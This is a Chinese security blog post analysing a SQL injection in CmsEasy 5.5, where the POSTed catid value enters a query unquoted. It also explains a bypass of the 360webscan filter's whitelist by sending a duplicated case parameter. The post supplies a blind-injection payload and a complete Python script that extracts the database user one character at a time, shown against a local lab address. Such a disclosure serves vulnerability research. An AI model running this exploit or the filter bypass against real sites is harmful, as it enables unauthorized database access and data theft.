?

Aug 31 2016

cmseasy最新注入+360webscan的繞過分析

首頁 » 代碼審計 » cmseasy最新注入+360webscan的繞過分析   

cmseasy最新注入+360webscan的繞過分析

 

 最近一直沒什么好文章,只有閑下來挖了幾個洞。一般挖洞的時候就沒法發文章,因為自己提交上去的洞在公開前是不能泄露的。不過這個洞與烏云某大牛的洞重復了,于是我就發出來一起學習一下。不過這個洞應該有些年頭了。

    先下載最新版:http://ftp.cmseasy.cn/CmsEasy5.x/CmsEasy_5.5_UTF-8_20150318.zip。經過神器比對,發現最新版進行了一些功能上的修改,可就是這處修改造成注入。

    /lib/default/archive_act.php 283行

if (front::post('catid')) {
 
           $cateobj = category::getInstance();
           $sons = $cateobj->sons(front::post('catid'));
           if(is_array($sons) && !empty($sons)){
               $cids = front::post('catid').','.implode(',',$sons);
           }else{
               $cids = front::post('catid');
           }
           $condition .= "catid in (".$cids.") AND ";
           //var_dump($condition);exit;
       }

   $condition .= "catid in (".$cids.") AND ";直接將$cids放入SQL語句,而$cids = front::post('catid');。 由于沒有引號包裹,所以造成注入

    繞過360webscan的方法,還是借助白名單,但方式有點區別。

/**
*  攔截目錄白名單
*/
function webscan_white($webscan_white_name,$webscan_white_url=array()) {
 $url_path=$_SERVER['SCRIPT_NAME'];
 $url_var=$_SERVER['QUERY_STRING'];
 if (preg_match("/".$webscan_white_name."/is",$url_path)==1&&!empty($webscan_white_name)) {
   return false;
 }
 foreach ($webscan_white_url as $key => $value) {
   if(!empty($url_var)&&!empty($value)){
     if (stristr($url_path,$key)&&stristr($url_var,$value)) {
       return false;
     }
   }
   elseif (empty($url_var)&&empty($value)) {
     if (stristr($url_path,$key)) {
       return false;
     }
   }
 
 }
 
 return true;
}

 

 

if (stristr($url_path,$key)&&stristr($url_var,$value)),當key和value都在白名單中存在時,就不進行過濾。

 

    而白名單的數組為:

    $webscan_white_url = array('index.php' => 'admin_dir=admin','index.php' => 'case=file','index.php' =>'case=admin');

    也就是說index.php?case=file,這樣的請求就不會檢測。

    但我們的目標url是index.php?case=archive&act=search&page=1,不是case=file。沒關系呀,這里比對的時候用的是$_SERVER['QUERY_STRING'];,而PHP對于兩個case=xxx,是取后面一個作為值。所以,請求/index.php?page=1&case=admin&case=archive&act=search即可。

    這樣,即可以在QUERY_STRING里找到case=admin,進而繞過360webscan,又可以讓case=archive。

    測試:

    向http://10.211.55.3/cmseasy/index.php?page=1&case=admin&case=archive&act=search&keyword=-1 POST數據 catid=-1) or ord(substr(user(),1,1))=114%23

    =114(r)的時候有返回結果:

1.png

 

 

 

3.png

 

 

4.png

 

 

#!/usr/bin/python
importrequests, sys, base64, traceback
headers = {
       'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'
}
payloads = list('@abcdefghijklmnopqrstuvwxyz.0123456789')
print'start to retrive MySQL infomation:'
def run():
       user =''
       fori in range(1,16):
               forpayload in payloads:
                       try:
                               data =  {
                                       "catid":'-1) or ord(substr(user(),%s,1))=%s#'% (i, ord(payload))
                               }
                               req = requests.post("http://10.211.55.3/cmseasy/index.php?page=1&case=admin&case=archive&act=search&keyword=-1", data = data, headers = headers, timeout =5)
                               if"<strong>1</strong>"in req.content:
                                       user += payload
                                       print'\n[In progress]', user
                                       break
                       except:
                               print traceback.print_exc()
                               break
                       sys.stdout.write('.')
                       sys.stdout.flush()
       print'\n[Done]infomation is', user
 
run()
 

 

 

 

 

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: cmseasy漏洞 cmseasy注入

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «Seacms最新版多處update注入(繞過360webscan) | 關于微信“BadKernel”漏洞情況的通報»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖